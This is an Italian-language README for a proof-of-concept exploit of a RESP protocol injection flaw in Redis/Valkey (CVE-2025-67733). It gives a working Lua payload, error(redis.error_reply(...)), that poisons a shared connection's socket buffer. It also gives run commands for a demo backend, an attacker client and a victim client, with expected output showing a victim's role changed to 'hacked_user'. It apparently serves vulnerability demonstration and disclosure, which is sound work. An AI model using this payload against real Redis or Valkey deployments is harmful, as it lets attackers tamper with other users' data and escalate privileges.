
PoC di iniezione RESP in Redis/Valkey (CVE-2025-67733)
Prova di concetto che dimostra la vulnerabilità di iniezione del protocollo RESP tramite messaggi di errore di script Lua in Valkey/Redis.
Backend Flask che simula un'applicazione web con connessione Valkey condivisa (pool di connessioni).
Endpoint:
| Metodo | Endpoint | Descrizione |
|---|
| POST | /api/user/role | Imposta il ruolo utente |
| GET | /api/user/role | Ottieni il ruolo utente |
| POST | /api/process | Esegui script Lua |
Utilizzo:
python backend.py <Valkey host> <Valkey port> [password]
# Examples
python backend.py 127.0.0.1 6379
python backend.py 127.0.0.1 6379 mypassword
Inietta dati RESP dannosi nel buffer del socket tramite il messaggio di errore dello script Lua.
Payload:
error(redis.error_reply("INJECTED\r\n$11\r\nhacked_user"))
Utilizzo:
python attacker_client.py
Client legittimo che imposta e recupera i ruoli utente.
Utilizzo:
python victim_client.py set # Set role to "normal_user"
python victim_client.py get # Get current role
pip install flask requests
Terminale 1 - Avvia il backend:
python backend.py 127.0.0.1 6379
Terminale 2 - Imposta il ruolo:
python victim_client.py set
# Output: 'role':'normal_user' has been set.
python victim_client.py get
# Output: 'role':'normal_user'
Terminale 3 - Attacco:
python attacker_client.py
# Output: Socket poisoning successful
Terminale 2 - Ottieni il ruolo (dopo l'attacco):
python victim_client.py get
# Output: 'role':'hacked_user'
1. Victim sets role
victim_client.py set --> backend --> Valkey
SET user:user:role "normal_user"
2. Attacker injects payload
attacker_client.py --> backend --> Valkey
EVAL 'error(...)' 0
Backend reads: "-ERR INJECTED\r\n"
Buffer remains: "$11\r\nhacked_user"
3. Victim gets role
victim_client.py get --> backend --> Valkey
GET user:user:role
Backend reads from buffer: "$11\r\nhacked_user"
Victim receives: "hacked_user"